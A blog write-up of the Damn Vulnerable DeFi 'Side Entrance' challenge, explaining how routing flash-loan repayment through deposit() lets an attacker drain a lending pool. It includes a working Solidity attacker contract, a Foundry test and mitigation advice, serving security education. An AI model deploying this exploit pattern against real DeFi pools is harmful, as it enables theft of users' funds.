Skip to main content

Command Palette

Search for a command to run...

The One With a Side Entrance

A subtle accounting bug where deposits and repayments blur — letting attackers slip in through a “side entrance”.

Updated
10 min read
The One With a Side Entrance
P
I'm a [Web2 & Web3] security researcher. Passionate about breaking (and fixing) things on-chain & off-chain. I live and breathe code, music, and video games. Altruistic by nature — always happy to connect, learn, and grow together!

What`s up! 🌐

Hello dear reader — and welcome to Side Episode of my journey through Damn Vulnerable DeFi.
I’m Pavel, aka kode-n-rolla, your guide through the world of Web3 security and smart-contract hacking.

This series documents not just the solutions, but the mindset, methodology, and audit-style thinking behind each challenge.
Here’s the full list of episodes so far — and with that, let’s dive straight into the audit.

The One With an Unstoppable Vault

The One Where Doing Nothing Costs Money

The One With Too Much Trust

The One with Temporary Authority


✨ Code review

Before jumping into the code, let’s anchor ourselves in what this protocol is trying to do.
SideEntranceLenderPool is a simple ETH pool that allows users to freely deposit and withdraw funds, and on top of that, it offers zero-fee flash loans powered by the same liquidity. The pool already holds 1000 ETH, and our goal is straightforward: extract all of it into the designated recovery account.

Now that the protocol’s intent is clear, let’s define the scope of the audit.

Scoping

For this audit, the scope is intentionally narrow and focused on a single contract:
SideEntranceLenderPool.

This contract exposes three core user-facing functions:

  • deposit() — allows users to add ETH to the internal balance mapping.

  • withdraw() — lets users withdraw their recorded balance back to their wallet.

  • flashLoan(uint256 amount) — grants a zero-fee flash loan, calling the borrower’s execute() hook and expecting the ETH to return within the same transaction.

There are no modifiers, no access control, and no fee mechanism.
All accounting relies solely on a balances[address] mapping, with the pool implicitly trusting that deposits and flash-loan repayments behave as isolated flows.

Because the same source of liquidity is used for both deposits and flash loans, our scoping focus centers around:

  • accounting invariants,

  • state transitions in deposit/withdraw cycles,

  • assumptions made inside flashLoan(),

  • and whether an attacker can influence the pool’s internal bookkeeping.

This sets the stage for the analysis.

Code Analysis — Analysis & Hypothesis

With the scope narrowed down to SideEntranceLenderPool, I like to start the analysis by writing down what the contract believes is always true.

At a high level, the intended invariant for flashLoan() looks like this:

  • The pool can lend out some ETH.

  • The borrower’s execute() function is called with that ETH.

  • By the end of the call, the pool’s balance must be at least what it was before the loan.

In code, that intention is captured here:

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        // @ check accept funds without fees
        if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }
    }

On its own, this check looks reasonable:

“If the pool has at least as much ETH as before the loan, the loan is repaid.”

But there is a second axis of state: the internal accounting through balances:

    mapping(address => uint256) public balances;

    ...

    function deposit() external payable {
        // @ possible overflow -> no priority for now
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        // @ checks
        uint256 amount = balances[msg.sender];

        // @ effects
        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        // @ iteractions
        SafeTransferLib.safeTransferETH(msg.sender, amount); // @ safe transfer
    }

Here, deposit() blindly increments balances[msg.sender], and withdraw() trusts that mapping as the source of truth for how much ETH a user can pull out.

Crucially, there’s no separation between:

  • “ETH that was lent out and later repaid”
    and

  • “ETH that was genuinely deposited by a user and should count as their balance”.

They both just show up as ETH held by the contract.

Visualizing the attack path

A good practice for me — and something I use in almost every audit — is to visualize the attack as a flow, not just read the code line by line.

So I asked myself:

If I borrow all the ETH from the pool,
can I somehow return it in a way that:
- satisfies the flashLoan check, AND
- creates an internal balance in my favor?

After a some time of thinking through different sequences and mentally simulating calls, one idea started to stand out:

  1. Borrow the entire pool balance via flashLoan(amount).

  2. Inside execute(), instead of doing something fancy, simply call deposit{value: msg.value}().

  3. This returns all ETH back to the pool, so address(this).balance is restored to balanceBefore.

  4. At the same time, deposit() credits my address in the balances mapping with the full amount.

  5. The flash loan completes successfully — no revert.

  6. Later, I call withdraw() and drain the pool using my newly created “legit” internal balance.

Hypothesis in one sentence

The core hypothesis that emerged from this analysis was:

If flash-loan repayment can be routed through deposit(), then I can repay the loan and mint myself a full internal balance at the same time, effectively draining the pool with a single side-entrance attack.

Testing — Turning the hypothesis into a concrete exploit

To validate the hypothesis, I wrote a minimal attacking contract and a Foundry test.
The attacker contract lives in the same directory as the target pool (SideEntranceLenderPool.sol), and the test function goes into the corresponding test file for this challenge.

  • src/side-entrance/SideEntranceAttacker.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {SideEntranceLenderPool} from "./SideEntranceLenderPool.sol";

contract SideEntranceAttacker {
    SideEntranceLenderPool public pool;
    address public recovery;
    address public owner;

    /// @notice Store a reference to the pool and the designated recovery account
    constructor(SideEntranceLenderPool _pool, address _recovery) {
        pool = SideEntranceLenderPool(_pool);
        recovery = _recovery;
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    /// @notice Entry point for the exploit
    /// @dev Borrow the entire pool balance in a single flash loan
    function attack() external onlyOwner {
        uint256 amount = address(pool).balance;
        pool.flashLoan(amount);

    }

    /*
        @notice Callback invoked by the pool during flashLoan
        @dev We immediately re-deposit the borrowed ETH back into the pool
        This:
            - restores the pool’s ETH balance (flashLoan check passes)
            - credits this contract in `balances[address(this)]`
    */
    function execute() external payable {
        pool.deposit{value: msg.value}();
    }

    /// @notice Withdraw the “deposit” that was created during the flash loan
    /// @dev This drains the pool’s entire balance to this contract
    function withdraw() external onlyOwner {
        pool.withdraw();
    }

    /// @notice Forward all received ETH to the recovery address
    /// @dev Called when the pool sends ETH to this contract during withdraw()
    receive() external payable {
        (bool ok,) = payable(recovery).call{value: address(this).balance}("");
        require(ok, "transfer failed");
    }
}

The exploit logic is entirely encoded in three calls:

  1. attack() — take a flash loan for the full pool balance.

  2. execute() — repay via deposit(), minting an internal balance.

  3. withdraw() — convert that internal balance back into real ETH and forward it to the recovery account.

  • test/side-entrance/SideEntrance.t.sol

In the test file for this level, I used the existing setup from Damn Vulnerable DeFi (which already deploys the pool and defines a recovery account).
The attacker contract is deployed inside the test, and then we execute the exploit:

function test_sideEntrance() public checkSolvedByPlayer {
    // 1. Deploy the attacker contract with references to:
    //    - the vulnerable pool
    //    - the designated recovery address
    SideEntranceAttacker attacker = new SideEntranceAttacker(pool, recovery);

    // 2. Trigger the exploit:
    //    - attacker borrows the entire pool balance via flashLoan()
    //    - inside execute(), the borrowed ETH is re-deposited
    attacker.attack();

    // 3. Withdraw the “credited” balance from the pool
    //    This transfers all ETH from the pool to the attacker contract,
    //    and the receive() function forwards it to the recovery account.
    attacker.withdraw();

    // Log result
    console.log("Target contract balance: ", address(pool).balance);
    console.log("Recovery account balance:", recovery.balance);
}

Run test

From the project root run:

forge test --mp test/side-entrance/SideEntrance.t.sol --mt test_sideEntrance -vv

—mp for specific file

—mt for certain test function

-vv for verbosity (to see console.log output)

Expected important part of output like this:

Ran 1 test for test/side-entrance/SideEntrance.t.sol:SideEntranceChallenge
[PASS] test_sideEntrance() (gas: 346870)
Logs:
  Target contract balance:  0
  Recovery account balance: 1000000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.39ms (500.73µs CPU time)

Severity

This vulnerability is classified as High severity, because it allows an attacker to fully drain all ETH from the pool in a single transaction without providing any real liquidity. The exploit is permissionless, requires no initial capital beyond the flash-loan, and succeeds with 100% reliability.

Impact

The impact is a complete loss of user funds: the attacker can turn the borrowed flash-loan amount into an internal balance and immediately withdraw the entire pool. This breaks the protocol’s core accounting invariant, exposes all deposited ETH to theft, and renders the pool insolvent.

Recommendation mitigation

The root of the vulnerability lies in treating flash-loan repayment and user deposits as the same operation. Because both flows move ETH into the contract, the pool cannot distinguish between “repaying a loan” and “creating a new user balance”. This allows attackers to mint internal credit without contributing real liquidity.

Separate accounting from ETH balance.
Repayment of a flash loan must not update the attacker’s balances[msg.sender].
The core invariant should be:

Flash-loan repayment restores the contract’s ETH balance but must not be counted as a deposit.

A clean mitigation is to disallow calling deposit() inside a flash-loan execution. This can be achieved in multiple ways:

bool private inFlashLoan;

function flashLoan(uint256 amount) external {
    inFlashLoan = true;

    uint256 balanceBefore = address(this).balance;
    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    inFlashLoan = false;

    if (address(this).balance < balanceBefore) revert RepayFailed();
}

function deposit() external payable {
    if (inFlashLoan) revert CannotDepositDuringFlashLoan();
    balances[msg.sender] += msg.value;
}

Why this works:

  • Repayment still returns ETH as expected.

  • But attackers cannot convert that repayment into a credited internal balance.

  • The pool’s internal accounting remains honest.


Option B: Track repayments separately

Introduce a variable like repaymentAmount, and in deposit() ignore ETH that comes from flash-loan repayment.

Why this works:

  • Clean separation between “loan repayment” and “user deposit”.

  • Harder to misinterpret ETH flows.


Option C: Add proper share-based accounting

Convert the pool to a share model (like many real DeFi protocols). Deposits mint shares; withdrawals burn shares.

Why this works:

  • Impossible to mint shares without contributing real assets.

  • Flash-loan repayment cannot create new shares.


📝 Why the fix matters

The protocol’s fundamental invariant — “deposit balances must always reflect real contributed liquidity” — is currently broken.
Without enforcing this, any zero-fee flash loan becomes a free mint, letting attackers drain all ETH with no upfront cost.

Implementing one of the mitigations above restores the invariant and ensures the pool’s solvency.


Takeaways & Reflections

This challenge is a perfect reminder that vulnerabilities don’t always come from complex math or exotic opcodes.
Sometimes, the most damaging bugs stem from simple mismatches between intention and implementation — in this case, the protocol wanted to offer zero-fee flash loans, but unintentionally let loan repayment masquerade as a user deposit.

A few lessons stand out:

  • State-machine thinking matters.
    When a protocol mixes multiple flows of value — deposits, withdrawals, flash-loan repayment — it must clearly separate them. If two pathways lead to the same state transition, attackers will try to blur the lines.

  • Invariants are your backbone.
    Designing a protocol without writing down explicit invariants (“balance X must always equal Y”) leads to blind spots. The exploit here is simply the system behaving exactly as coded — just not as intended.

  • Security is a continuous process, not a one-time event.
    Even seemingly simple components deserve thorough review, stress-testing, and adversarial thinking. Flash loans in particular amplify flaws: anything exploitable becomes instantly and maximally exploitable.

  • Visualizing the attack path is powerful.
    Walking through the protocol step by step — “What happens if I borrow everything? What if I repay differently? When do state variables update?” — often reveals subtle opportunities a line-by-line audit might miss.

As always, thank you for taking the time to read this analysis.
I hope it brought you value, whether you’re sharpening your Web3 security skills or simply exploring how these systems can break in surprising ways.

See you in the next episode — and until then, stay curious, stay sharp, and stay cyber safe. 💚